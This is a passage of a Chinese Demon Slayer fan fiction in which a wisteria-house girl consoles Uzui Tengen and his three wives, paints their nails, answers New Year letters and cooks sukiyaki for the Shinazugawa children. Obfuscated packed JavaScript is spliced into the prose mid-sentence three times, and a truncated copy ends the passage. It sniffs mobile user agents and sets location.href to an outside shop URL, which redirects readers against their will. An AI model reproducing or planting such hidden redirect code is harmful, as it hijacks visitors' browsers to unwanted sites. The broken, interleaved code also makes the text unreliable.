那些滚烫又浓稠的血液溅上来,逐渐变得温热、冰冷、干涸,血迹却怎么也洗不干净,在皮肤上刻印下了罪人的刺青,像地狱之火般燎烧拷问着他。 梦回午夜,都能梦见兄弟们在质问——凭什么你能够活下去?你为什么还能露出笑容?你不配获得幸福! 是啊,他明白的,并且从不回避这一点。 不过这会让老婆伤心,实在不是一个华丽的男人该做的。 “我将会下地狱”这句话,以后还是别说了。 将屋内的混乱尽收眼底,藤花月咲大致明白,四人是因为“下地狱”的话题起了争执。 她并不想探究宇髓天元为何会说这种话,不论对方从前经历过什么,如今他们的共同目标是消灭恶鬼,只要有这一点共识便足够了。 藤花月咲观察男人的神情:他是发自内心这么觉得的,但察觉妻子们不喜欢,往后会隐藏得更深吧。 她想了想,一本正经地朝雏鹤开口:“据说,如果人死后下了地狱,而他的家人强烈请求的话,是可以陪同一起去地狱赎罪的。” 这是她上国中时在产屋敷家神社保存的古籍里翻到的记载,当时不以为然,可现在看来,竟很有可能是真的。 雏鹤一愣,茫然地看过去,见少女冲她眨眨眼,瞬间领悟了这是什么意思。 “天元大人,如果您会下地狱,那么我也要一起!”她腾地站起来,抹一把泪痕,“身为您的妻子,我有这个觉悟!” 宇髓天元抬头,震惊豆豆眼:“啊?” 牧绪听到了,同样反应过来,转身露出一抹无畏的笑:“对啊,想一想地狱也没什么大不了的,说不定我们还能在油锅和熔浆里一起泡温泉呢!” “啊啊啊啊好恐怖!光是想象都要吓死人了!” 须磨捂着耳朵不想听,哭得一把鼻涕一把泪,“但是……但是你们都下地狱了的话,不能丢下我孤零零一个人,我也要陪天元大人!” 藤花月咲仰头看天花板。总感觉她们把下地狱说得像是落地一日游。 “别乱说,”宇髓天元皱眉,严肃道,“你们绝对要活很久很久,等我在地狱赎完罪再下来。” 牧绪大喊:“这又不是天元大人可以决定的!” 须磨附和:“就是就是!” 宇髓天元头疼不已。有三个老婆的华丽苦恼就是,她们在某些时候会异常团结,完全吵不过。 他看向少女:“都是些什么不华丽的谣言。” “这可不是谣言,是主公大人家的藏书里写的哦,”藤花月咲歪头,“顺便一提,死去的人可以在人世或彼岸等待他们在世间牵挂的人,是不是很人性化?” 毕竟,她已经见过好多这样的鬼魂了。 不需要在这点上贴心啊! 宇髓天元发现她不是在开玩笑,顿时心生焦虑。 怎么办,他去了地狱,她们三个肯定要跟来的。 雏鹤会不会被吓到?牧绪会不会和地狱里的鬼怪起争执?须磨会不会被欺负? 自从加入鬼杀队,他就把三人和正直的普通人放在第一位,自己怎么样都好,可绝不希望她们受到伤害。 怎样才能阻止这一切? 铺天盖地的焦虑令宇髓天元微微出汗,单手扣住下半张脸,瞳孔放大,不断加重呼吸…… “宇髓先生!” 他被这一声惊醒回神,妻子们都担忧地看着他。 藤花月咲觉得他的脸色很不好,“宇髓先生,我不是吓唬谁,而是想告诉您,当您说这句话时,雏鹤小姐她们也像您此刻这样担惊受怕。虽然我对你们一点都不了解,可过去的经历和未来的死亡都很遥远,重要的是当下的生活。” 她说的这些,对方再过几年或许便能理解并释怀,因为一个能带着妻子们逃离家族的人,他的精神是非常强大的。 但眼前这个17岁的宇髓天元,尚且无法做到。 “所以,请像在意您的妻子们那样,在乎自己吧。” 藤花月咲把冰毛巾分发出去,给小炉子热着的茶壶里续了水,又在墙壁挂上装有陈皮、丁香、肉桂等碎片的香囊,能够安神助眠。 “请好好休息。” 她退了出去,肩膀耷拉下来。 自己是不是太多管闲事了? 可是那四个人周身都笼罩着悲凉与痛苦,实在没办法袖手旁观啊。 藤花月咲再听,房间里已经安静下来了。 她回到隔壁,守夜至黎明时分,起身伸了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998026|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懒腰,去烧火做早饭。 在灶台前忙活时,忽然心有所感,一回头,三人站在她身后。 雏鹤俯身,将一缕碎发别到耳后,眉眼柔和,“我们来帮你。” “我一个人就可以了,你们再去睡会儿吧。”藤花月咲仔细看她们,嗯,很好,眼睛都没肿。 “哪里需要睡那么多觉,”牧绪强硬地接手烧火工作,“四个人干更快吧。” 雏鹤询问后掀开锅盖,捏起了饭团。须磨在一旁处理味增汤的食材。 藤花月咲感受到了她们的善意,便继续搅打蛋液,“你们刚成为正式队员没多久吧。” 每次最终考核结束都有鎹鸦送来通过名单,她记得这几人是秋天加入的鬼杀队。 “嗯,天元大人使用的是音之呼吸,我们三个学习不会呼吸法,但靠着忍者的手段在最终考核活下来了。”雏鹤说道。 藤花月咲没忍住:“忍者的手段,有手里剑吗?” “有啊。”牧绪不知从哪里变出一把苦无,在指间飞快地转动把玩,展示完后又张开手掌收了起来。 “哇!那可以瞬移和影分身吗?” 看着少女略显激动的模样,三人都忍俊不禁。 “那都是民间传说啦,只是速度太快,或者装扮一致造成的错觉。” 藤花月咲也没失望,边做鸡蛋卷边问:“那你们成为队员后,有去拍相片么?” 这是她给主公的提议,希望能为队员们在世间多留下一点痕迹。如果接受不了摄影,也可以选择画像。 秋天通过考核的话,可以在藤袭山选完玉钢、量完队服尺寸、手背刺青后顺便拍照。 三人沉默了一会儿,“……我们都拍了,天元大人没有。” “他说相片不能真实记录自己华丽的脸,还不如不拍。” 藤花月咲:? 还真是个对美学有独特想法和态度的家伙。 “昨晚谢谢你,我们知道他一直压力很大,”雏鹤垂眸,“其实当初,他完全可以一个人离开村子的,但还是带上了我们。因为他明白,如果他独自离开,我们作为叛徒的妻子一定会被处理掉。” 就是这种责任感,才令他备受折磨。 须磨一刀剁开白萝卜:“小月咲,你说在地狱赎罪一般要多少年呀?要是杀鬼能减少罪责,我、我……就算我很弱,很容易死掉,也会为了天元大人加油的!” “这个我就不清楚了。”藤花月咲也没去过,或许以后有机会能碰见个下过地狱的鬼魂,采访一下感想。 她还有件好奇的事:“宇髓先生的妆也是自己化的吧,指甲油呢?” “也是他自己涂的,忍者两只手都能用得很好,”牧绪加了一根柴火,“指甲油也是高极品,吉原游郭那儿的花魁都很喜欢的。” 她突然眼睛一亮,“诶,小月咲也来涂吧,你的手很纤长漂亮呢。” 藤花月咲摇摇头,“我平时碰水比较多,指甲油保持不了多久,很容易剥落的。” 不过,“说到涂指甲油,我想做件事……” 26.第二十六章 宇髓天元在妻子们起床时就醒来了,梳理了会儿昏昏沉沉的脑袋,觉得心情依旧不大好。 为了不陷入丧气的不华丽中,决定了,今天的装扮要加倍华丽! 他构思了下妆容,正要起身,木门忽然被很轻地一点点推开。 不知出于什么心理,他当即合上眼装睡。 须磨从门缝小心钻脑袋进来,见宇髓天元还躺着,示意身后的人跟上。 接着传来一阵悉悉索索的动静,听脚步声,一个、两个……有四个人轻手轻脚进入房间,围在他们带来的包袱旁翻找东西。 摸出想要的物品,须磨两眼亮晶晶地转头,用口型说:找到啦! 原路返回前,藤花月咲瞥了眼被褥里的青年,不由低笑:不错,还会配合妻子玩这种装睡的小游戏呢。 她捡起昨晚给出的毛巾,无声地飞快折起来——这可是未来旅馆经营的必备技能。 宇髓天元竖起耳朵,听着她们拿了东西迟迟不走,还用气音感叹“可爱”之类的话,又磨蹭了会儿,才排成一串地离开。 他腾地掀开被子坐起来,发现身旁摆了三只用毛巾折的小老鼠,每只老鼠底下压着一张字条。 “不好意思天元大人,借用一下您的指甲油。”清秀字迹,这是雏鹤写的。 “小月咲要帮我们涂指甲,记得醒了来吃早饭。”字写得又大又狂放,是牧绪的字迹。 “是呀是呀,嘿嘿,好期待哦。”喂须磨,不要用留给别人的字条隔空聊天啊。 “真是……”宇髓天元随意抓乱头发,打着哈欠先去洗漱,在走往庭院的路上就传来嬉笑的声音。 他探头一看,四名少女并排坐在廊檐下,脑袋挤挤挨挨地凑在一块儿、搁在互相的肩膀上。 紫藤花之家的少女坐在中间,托着雏鹤的一只手,埋头专注地作画。 在手上作画? “完成!”藤花月咲抬头活动一下脖子,“怎么样?” 雏鹤的左手大拇指上,先是涂了一层红色指甲油,随后用最细的笔沾上颜彩在指甲上作画,因为是天然矿物成分,也不会对人体有所损害。 画的则是雏鹤的Q版头像,柔顺的黑发马尾、灵动的杏眼、妩媚的眼角痣,通过放大特征的方法让人一眼就能认出这是谁的形象,艺术加工后多了一分独特的俏皮。 “好可爱!”须磨迫不及待地挤过去,“我也要,我也想要!” “吵死了,要排队啊你这家伙!”牧绪把她的脑袋推开,两人僵持不下。 雏鹤举着手,意外地看着这个时代的“痛甲”,“画得真好……” “是吧。”藤花月咲的妹妹很喜欢做美甲,有段时间沉迷自制穿戴甲,给全家男女老少做了一副,连老父亲都没落下,切身感受了一番来自女高中生的文化冲击。 她也跟着做过几副,这是第一次在真人指甲上绘制,幸好没翻车。 不过对方的神情有些恍惚,“请问,这让你想到什么了吗?” “啊,抱歉,”雏鹤回神,“只是……记起了一些往事,天元大人似乎也很喜欢画画呢。” 在忍者村落,她家是仅次于宇髓家的大家族,互相之间算竞争关系,但联姻也不少,因此在童年时见过几面。 村子里没有作画工具,她却撞见过宇髓天元用树枝在地上涂画,听到动静后立刻用脚胡乱抹平,快速离开现场。 当时她蹲下来望着那些遗漏的线条,有点好奇他画的究竟是什么,更没有预料到自己未来会成为这个人的妻子。 “没错,我也看到过,”牧绪是宇髓家的亲戚,走动比较频繁,了解得更多,“画的好像是人,有好多个!” 暗中偷听的宇髓天元捂脸。为什么你们都记得那么清楚,这种不华丽的黑历史就早点忘掉啊! “不公平!就我没有见过,太不公平了!”须磨闹脾气,在地板上滚了一圈,爬起来,“我让天元大人现在画一个给我看!” 雏鹤和牧绪赶紧拉住她,“天元大人应该不想让别人知道吧。” “就是,别小孩子脾气。” 宇髓天元躲在转角后,暗松了口气。 牧绪最后还是让须磨先画指甲了,藤花月咲给她抹了点类似护手霜的药膏,在画盘上加水调制颜彩,“也许等没有了恶鬼,宇髓先生自己就会拾起画画的爱好了。” “那要到什么时候啊?”须磨沮丧。 “不会太久的。”至少在藤花月咲出生的年代,已经没有鬼了。 “我们能做的,只有好好珍惜今天,努力活下去,不要让未来的自己后悔,”她握拳,“所以你们有需要,我都会尽力实现的。” 来来往往的猎鬼人们,很多都像繁星那样消失在了黑夜中。或许仅仅是在紫藤花之家匆匆擦肩而过,就没有下一次见面的机会。 藤花月咲不想留下遗憾,后悔为什么没能好好招待他们。 尽管相遇短暂,能做的也不多,但她希望能成为一段轻松、治愈的记忆。 “好帅……”雏鹤指尖轻轻捂着嘴,“昨天我就想说了,小月咲很帅气呢。” 藤花月咲开玩笑:“和宇髓先生比起来呢?” 三人齐齐偏头作思索状,宇髓天元在一旁满头问号。 这还需要思考?肯定是选华丽的本大爷啊! “咳咳。” 他轻咳一声走过去,抄着袖子超绝不经意地问:“你们在做什么?” “做指甲哦,天元大人也来吧!”须磨克制住举起双手的冲动,用空着的那只手招呼他。 “诶——”宇髓天元牵起雏鹤的手,凑近了细细打量,在散落的刘海下抬眼挑眉,“还挺华丽的嘛。” 惹得雏鹤脸红后,他坐在一边吃早饭,刚扒拉了一口饭,就听藤花月咲开口:“宇髓先生该不会是吃醋了吧。” 宇髓天元差点噎住,“哈?怎么可能?!” “哦,那就是我误会了,”藤花月咲用笔蘸了蘸颜彩,眼眸弯弯,“毕竟妻子们都这么可爱,作为丈夫难免会比较紧张。” 随后继续埋头作画。 宇髓天元:“……” 有点郁闷,但不知道在郁闷些什么。 他大口吃完饭,干脆也在坐在廊檐下,要来了一支笔,给牧绪的右手大拇指指甲画起来。 须磨这边还没完成,努力伸着手,半个身子都转到另一侧了,“天元大人我也要,您不能偏心!” “知道了,等会儿轮到你和雏鹤。” 今日一早,紫藤花美甲小屋临时开业,两位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002506|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美甲师兢兢业业,头都不抬一下,专心服务三位优秀的女忍者。 寿奶奶都过来背着手旁观了,然后送来茶水点心,给三人各自编了不同的时新发型。 藤花月咲偷瞄“竞争对手”的画作,貌似是一种黄色的花朵。 “这是金木犀么?”她问。 金木犀是秋季的代表性植物之一,如今是十月末,正是花期的尾声。它的香气馥郁甜美,能飘散到很远的地方,味道能给人带来强烈的印象。 “是啊,”宇髓天元耸耸肩,“有人曾经说过,这是我的诞生花。” 那人是他的姐姐,比兄弟们更早在残杀中死去。 藤花月咲记得,金木犀的花语似乎是“谦逊”吧? 唔……乍一看跟这个人完全不搭,但稍微熟悉后又感觉很符合。尽管第一印象很张扬,却是个富有责任心、自我评价正确的人。 “那人应该很在意宇髓先生。”她说。 “我不知道。”他的家人,父母孩子、兄弟姐妹之间是否曾有过一点点的爱,都已经无从得知了。 小时候幻想过亲情,在地上用树枝画出粗糙的全家福,把父亲画得十分高大,而自己靠着母亲,每个人都带着大大的笑脸。 终究是幻想罢了。 “一定的,”藤花月咲肯定道,“如果不是在意的人,不说诞生花是什么,甚至连生日都不会记得哦。” 宇髓天元的笔顿了顿,“……是么。” “是啊,宇髓先生会记住与自己毫不相干的人的生日吗?” 他想了想,发觉确实是这样,甚至,有一两个兄弟姐妹的生日他都记不太清。 但是姐姐记住了他的诞生。 这样久远又零星飘渺的关爱,为什么也能汇成酸涩的暖流。 像是曾有人为他的出生而欣悦欢喜,在姐姐的眼中,或许他并不是一个杀人兵器、不是为了家族延续的工具,而是相互依偎的家人。 他的眉眼舒展些许,轻笑:“如果是这样的话,那就太好了。” 过去的痛苦不会消失,但要是被牵绊住,岂不是顺了老爹那老头子的意? 他才不会呢! 宇髓天元画好最后一个,吹了吹雏鹤的指甲,来回欣赏,“嗯,不愧是我。” 紧接着就被三人扑倒,“天元大人,我们也帮你画吧!” “啊?等……不要扯我鞋子!须磨你手往哪儿摸呢!” 藤花月咲看着四人扭打在一起,默默离开。 这才是夫妻培养感情的正确方式吧。 …… 装扮华丽、头戴钻石的鎹鸦飞来,催促四人继续做任务。 宇髓天元把指甲油都留给了藤花月咲,让她随便用,喜欢的话还会让鎹鸦捎带。 藤花月咲虽然自己平时不会涂,但还是接受了,万一哪天用得上呢。 作为回礼,她送了月经带,“要写使用感想给我哦,如果有不好用的地方就再改进。” 三人不太好意思地收下了。 忍者的速度很快,都不用目送便直接没影了,藤花月咲去收拾房间,发现那三只毛巾小老鼠耳朵上挂着迷你钻石护额。 她把毛巾小鼠托在掌心,看了看。 “嗯,蛮华丽的嘛。” 27.第二十七章 时间在反复却充实的日常中过得飞快,又一年冬季来临。 尽管初雪后没有积雪,可气温一下骤降,每天清早出门取报纸和牛奶都要裹紧披肩在冷风中抖一抖,牛奶早就凉透,要在小锅里加热后才能入口。 还没到除夕,藤花月咲已经接收了好几波鎹鸦带来的贺年信。 最先送达的是蝴蝶姐妹的信。香奈惠通过最终考核,有了自己的鎹鸦,不必再劳烦悲鸣屿先生。她的信笺染成了渐变的紫色,有蝴蝶的印花,右上角用丝带系了个小小的蝴蝶结,散发着淡淡的花香,既漂亮又高雅。 就像香奈惠给人的感觉那样温柔舒服。 她说自己正在京都一带执行任务,信笺是在祇園附近买的,希望小月咲能喜欢,祝新年快乐。 小忍的信是捎带来的,字迹认真。她还在培育师那儿学习花之呼吸,但肌肉太少、腕力太弱,哪怕能学会招式也没有太大杀伤力。 培育师说可能是还没到发育的年纪,还需要一段时间长身体,况且鬼杀队不会让12岁以下太小的孩子加入。 小忍说,她真的好想尽快和姐姐一起去杀鬼啊。 第二波送到的,是悲鸣屿先生和水呼师兄弟的信。 她收到悲鸣屿先生的信时有些受宠若惊,毕竟岩柱的工作十分繁忙,之前帮蝴蝶姐妹转交信件不算麻烦,但对方居然还亲自写了贺年卡过来。 拆开一看,内容很简单,是古典诗歌《百人一首》中的一首和歌——《前大僧正慈圆》:虽不自量力,愿以此身墨染袖,庇护浮世众生,于我栖居之深山。 这是一位僧人所写,经常在新年歌会等场合吟诵,相当符合她对岩柱的印象。 话说对方眼盲还能把字写得那么端正,真是厉害。 锖兔和义勇的信是由宽三郎送来的,这只鎹鸦一到就把脑袋扎在碗里喝了好久的水。 水呼师兄弟去了青森做任务,光火车就坐了一天一夜,还要时刻小心不被发现佩刀。 青森比东京要冷多了,才12月初地面就有一层厚厚的积雪,他们没有经验,带去的衣物严重不足,刚下车义勇就感冒了,一直流鼻涕打喷嚏,要抱着宽三郎取暖。 甚至他们要去的地方道路被雪封住了,十分难走。 锖兔的手估计被冻僵了,写下新年快乐的笔迹有些呆板,信纸都残余些许凉意。 下面另一个字迹是义勇的,他希望藤花月咲不要感冒——鼻塞时使用呼吸法太痛苦了。 最后一波送到的,是炼狱先生、不死川实弥以及忍者四人组的信。 藤花月咲同样好奇地拆开炎柱的信,发现这绝对不是本人写的,语气用词完全不一样,还用上了敬语,大概是炼狱家两个儿子之一代父寄来的。 他写到,自母亲去世后家中无人再写贺年信,但父亲今年振作起来了,便想着过年时热闹一点,尝试写了信寄给主公和同僚,谨祝新年安康,承蒙这一年的关照与帮助,新年也请多多指教。 落款是炼狱一家。 不死川实弥的信被投放到了信箱,很简短,还有一两个错别字。 他说自己的剑技得到了培育师认可,却错过了上一次考核,只能等待年后再通知最终考核的时间,新年快乐。 信封里附带一张印着独角仙的邮票。 忍者四人组的信到得最晚,是新年第二天送来的,似乎是他们从前没有过年的习惯,到了除夕当天才知道这个节日。 信纸是在浅草买的,上面有一层类似水钻的粉末,在阳光下能折射出不同的色彩,华丽极了。 信中每一段的笔迹都不一样,能想象到他们写信时轮流抢夺下笔的画面。 没有新年快乐之类的贺词,但欢乐的氛围即将溢出薄薄的信纸。 还有几封队员的信送来,藤花月咲把每个人的信都收好,请鎹鸦们吃炒好剥开的胡桃肉,仔细写了回信,并放了点小东西进去。 给蝴蝶姐妹、不死川实弥和其他队员的是自制的紫藤花书签,给水呼师兄弟的是配置好的草药,给忍者组的是一副之前画好的四人Q版画像,给两位柱的则是安神的柚子茶。 摸摸鎹鸦的头,望着它们飞走,藤花月咲欣然去做大扫除。 这一年的紫藤花之家,只有她和寿奶奶两个人过除夕,所以还算空闲。 她把凳子搬到灶台前,旁观学习寿奶奶炸天妇罗。后者做的天妇罗外壳轻薄酥脆、内里炸得刚刚好,浸在荞麦面的汤汁里泡得稍微变软一点面衣也不会脱落,超级美味。 吃跨年荞麦面时收到了主公的新年寄语,内容和去年差不多,但附了一笔压岁钱。 数额比她如今存款还多的,压岁钱。 藤花月咲:! 虽然她确实算是产屋敷家的小辈,但这是不是给得太多了些? 不过想到以前去产屋敷家的神社拜年,辉利哉曾曾外舅公给的压岁钱也很多,大概是家族传统,以及……隔代亲? 隔的代越多,压岁钱翻的倍数也更多的那种? 钱袋一下子变得很鼓,藤花月咲没什么需要花钱的地方,打算存着买小说,或给寿奶奶买雪花膏。 冬天的皮肤干燥,不好好保护的话很容易皲裂生冻疮的,老人家更是如此。 除了元旦早上吃的是杂煮,之后她们吃的都是从外面预定的御节料理,不用开火做饭,好好休息了几天。 到了一月末,按例拎着皮箱乘车到京桥区。 此次去有两件必做的事,一是取药,二是拜访不死川家。 吸取了上一次的经验,藤花月咲这回出远门换了裤装,以及时应对各种突发状况。浅紫色行灯袴配米色上衣,外罩一件藏青色斗篷,黑发披散下来,裹在灰色的针织围巾里,很暖和。 紫藤花香包系在了腰带上。 去年还能借寿奶奶的羊毛外套,今年已经穿不下了。 出门时天气很晴朗,等到她还算轻车熟路地换乘,登上近郊铁路电车时,天色逐渐变暗,下起了雪。 藤花月咲衷心希望这雪不要太大,否则有轨电车因积雪停运,她就要被困在半路了。 不过她的直觉没有预警,路面的确有一些雪,但有轨电车经过时会散发热量,轨道上暂时没有积雪,因此顺利抵达。 先去连锁大药店取货,然后顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009074|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路去药局又买了一些月经带。 之前买的甲等品女队员们反馈不错,可以继续购入,她今年也要用上了,得提前准备好。 接着在百货商场买了冷霜和雪花膏,到书店选了几本小说,去同一家和果子店包了一盒子点心。 走到平民居住区时,由于是周日,学校放假,不死川家的一群小豆丁穿着打了补丁的旧衣服,在街面上干活。 平民区的积雪比较多,几个小一点的在铲房屋门口的雪,大一点的用工具清理屋顶上的雪。 这种老旧长屋很容易被积雪压垮,每年冬天都会发生好几起死伤事件,小豆丁们被大哥嘱咐过,对此很警觉。 看到藤花月咲,其他人对她的印象有些模糊了,但十岁的不死川玄弥还记得,笑着朝她挥手,一个没注意,被屋顶扫落的雪扑了满身。 藤花月咲赶紧上前,拍拍小雪人的衣服和头发,“快进屋吧。” 进了屋内,能感觉室温明显比去年高了,应该是买了炭火来烧。小豆丁们还挺节俭,出门了屋里没人就把炭火熄掉,关紧门,等到回来余温还没散尽,足够取暖了。 不过藤花月咲让他们还是得注意一氧化碳中毒,烧炭时一定要保持通风。 玄弥在给弟妹分点心时,她环顾屋内,很干净,其中一面墙上从大到小挂了一排的学校制服,底下摆着各自的书包。 窗边放了几本作业,征得同意后藤花月咲看了看,成绩还不错。 玄弥脸红道:“写得不怎么好。” “已经很棒了。”藤花月咲心想,你大哥在培育师那儿边训练边抽空自学,说不定现在认识的字没有你多。 想到这,她取出不死川实弥的信件——他刚通过年后的最终考核,邮递比鎹鸦慢太多了,因此托她转交。 信封里有信和两张相片,一张相片是不死川夫人在病房里沉睡的模样,另一张上的不死川实弥穿着铁路员工制服。 没错,这家伙离家的借口是去铁路当火车车掌助役,而且是偏远路线的长途火车,很少有假期,这样寄回家的钱也有一个来源。 弟妹们的早午餐可以在学校解决,晚餐和假期就在家做点简单的食物。因为铁路局那边有人关照,也没有人为难几个小孩子。 至于不死川夫人所处的位置,实弥成为正式队员后才知道,就在最终考核的藤袭山,从山麓到山腰一年到头都绽放着紫藤花。 他不知道的是,藤袭山的磁场特殊,能够切断鬼王对鬼的控制与联系,是安置鬼的最佳地点。 小不点们围成一团,“是妈妈!”“哥哥穿着铁路制服!”“好帅啊!” 玄弥终于安心了,“哥哥他过得还好吧?” “虽然不太清楚具体情况,不过据说快转正了,”藤花月咲揉揉他的头,觉得似乎有肉了一点,可依旧很消瘦,“要多吃点饭,你哥哥寄来的钱够用吗?” “很够啦!” 藤花月咲想了想,“能请我在家吃顿饭么?” 一群小孩小鸡啄米点头,“好呀!” “那我去买点食材回来,”她眨眨眼,“哪位热心的小朋友愿意帮忙?” 28.第二十八章 小豆丁们自告奋勇地报名去帮忙买菜提东西,不死川玄弥没挤过他们,只能留守在家照顾最小的弟弟就也。 外面依旧下着不大不小的雪,藤花月咲一仰头,一片雪花轻飘飘地落在她鼻尖,瞬间的凉意沁透肌肤,化作湿漉漉的水汽,莫名治愈。 冬天啊,就得吃点热乎乎、带汤汤水水的胃里才熨帖嘛。 那么该吃关东煮、炖菜,还是茶泡饭呢? 唔,都很好,不过这些里面肉都太少了,必须是那种能加很多肉的、小孩子会喜欢,而且不用花费太久时间的料理。 藤花月咲左右牵着寿美和贞子走在街头,忽然想到一个——寿喜烧! 这个就很合适啊,能吃多少肉可以自己加,而且相当有庆祝的感觉。 寿喜烧如今被称作牛锅,是已经推广开的料理,城市周边有许多不同价位的店铺林立,火车站还会兜售牛锅便当。 找到一家牛肉店,藤花月咲估摸一下小孩的食量,买了1千克的普通和牛,比平日吃的役用牛品质要高一点,脂肪分布得更漂亮。 并请店家代切成薄片,用宽大的笹叶包起来。 再去蔬菜店买了大葱、茼蒿、香菇、豆腐和魔芋丝,在杂货店购入酱油、砂糖、清酒、鸡蛋。 在店家的推荐下,她试喝了一口甘酒。这是用大米发酵成的饮料,不含酒精,味道甜甜的,大人小孩都能喝。 四个小孩轮流尝味,最后打了两升,配寿喜烧吃。 回去的路上看到有卖刚出炉的烤红薯,孩子们都忍着口水望过去,但克制地没说出口。 藤花月咲心底觉得可爱,买了几个让他们分一分,垫垫肚子别吃太饱了。 弘把二哥和小弟的那只红薯揣在怀里保温,一路被烫得呼哧呼哧地回去,第一个冲进门,“玄弥哥,吃烤红薯呀!” 不死川玄弥嘴里被弟弟塞了香甜的烤红薯,看到那一大包和牛,小心地扯了扯她的衣角,“姐姐,不要买太多了。” “无事,”藤花月咲双手捧住他的脸颊揉了揉,“你大哥已经付过钱啦。” 就当还上次不死川实弥帮她在质屋为针具讨价还价了。 寿喜烧做起来很快,只要把蔬菜洗一洗切好就行。冬天外面的井水很冰,洗菜是男孩子们去的,女孩子们在屋内切菜。 食材准备好时,用酱油、砂糖和清酒加水调制的寿喜烧汤底也煮开了。 先下锅涮牛肉,薄薄的肉片几秒就能烫熟,夹进碗里——藤花月咲信不过此时的沙门氏菌杀菌技术,没有给他们打生鸡蛋。 但空口吃已经非常满足,小朋友们一个个脸颊肉鼓起来,从侧面看好像蜡笔小新。 藤花月咲:“好吃吗?会不会太甜?” “不会!” “超级好吃!” “这个肉会在嘴里化开诶!” 和牛的量足够众人敞开肚皮大吃一顿了,玄弥一边给弟弟妹妹夹肉夹菜,一边帮就也擦嘴,“不要全吃肉,也要吃蔬菜哦!” “好——”大家异口同声地回答。 懂事的孩子总是让人更心疼,藤花月咲见玄弥一直在照顾弟妹,自己基本没吃多少进嘴里,捞了满满一勺牛肉到他碗中。 玄弥看她,她下着蔬菜和豆腐,“不合你胃口吗?” “当然没有!”他赶紧否认。真的特别美味,第一次吃到这种食物,好吃到他想给哥哥也留一份。 “合胃口的话就多吃点,”藤花月咲抬眼轻笑,“那样我会很高兴的。” 玄弥扭捏地应了:“……嗯。” 七个人坐在榻榻米上,围在不大的锅边,拥挤却很热闹,窗户开了一小半,还能欣赏到雪景。 藤花月咲很喜欢吸满汤汁的香菇和魔芋丝,想着回去后可以跟寿奶奶再吃一次,用另一种关西的吃法。 等涮了不少牛肉,汤底充满肉味后下茼蒿,大家齐刷刷从根部开始啃,像兔子进食。 最后,锅里的汤只剩了点底,把米饭倒进去,打几个鸡蛋,搅拌闷熟就是杂烩粥了。 每人分了小半碗粥尝个味道,尽管很好吃,撑到难受就得不偿失了。 吃饱后洗完碗,上学的几个说是要写作业。藤花月咲去与周围邻居闲聊了解情况,回来时发现他们都犯了食困,睡得七倒八歪。 玄弥无奈但纵容地叹口气,一个个盖上被子,坐在窗边折纸。 藤花月咲走过去俯身看,“这是风车吗?” “嗯,老师布置的手工作业,”玄弥的第一选择就是风车,“以前我和哥哥也有一个竹片做的风车,但那个早就坏掉了。” 那时候就算是比赛谁吹风车更快,都觉得好开心。 玄弥做完手工,开始缝补衣服,一刻没有停歇。 “见习生第一年没有假期,你哥哥之后会有时间回来的,”藤花月咲帮他缝补了两件衣服,“这期间就拜托你了。” 玄弥理所应当道:“当然,我可是次子。” …… 在小不点们睡醒前,藤花月咲便告辞离开。 有轨电车果然通知停运了,但近郊铁路电车仍照常运行,乘坐马车到车站就行,只不过更费时。 等到了车站,天色已经全黑了,下一班车要二十分钟之后才来。 她买了票,拎着皮箱在候车室坐下,正要取一份杂志来看,忽然闻到一股奇异的香气。 那并非是香精能够调制出来的味道,浅淡地在空气中拂动,仿佛花朵极盛到即将糜烂的甜蜜。 藤花月咲朝门口望去,刚刚进来了两位乘客。 其中一位是名小巧美丽的年轻女子,看面容绝不超过二十岁,气质却沉稳成熟,看腰带系法应该已婚。她穿着深紫色的小纹和服,衣襟面料上绽放着鲜艳的花叶,头发一丝不苟地盘起来。 与她同行的绿黑色短发少年看起来和藤花月咲差不多大,握着一把收起的伞,一侧肩头积了点雪。 藤花月咲心头泛起了奇妙的感觉。 她不动声色地左右看看,候车室的座位零零散散基本都坐了人,仅有自己身边的空位能并排坐下两人。 会不会坐在她身边呢? 这么想着,却见那少年走到售票口前,不知跟售票员说了什么,搬了一把椅子回来,用手帕飞快上上下下擦了十几遍,这才请女子坐下。 藤花月咲眼尖,注意到少年第一次经过自己面前就微微皱了皱眉,返回时稍微绕路,像是刻意不接近她。 难道是吃完寿喜烧沾染的气味太重了? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 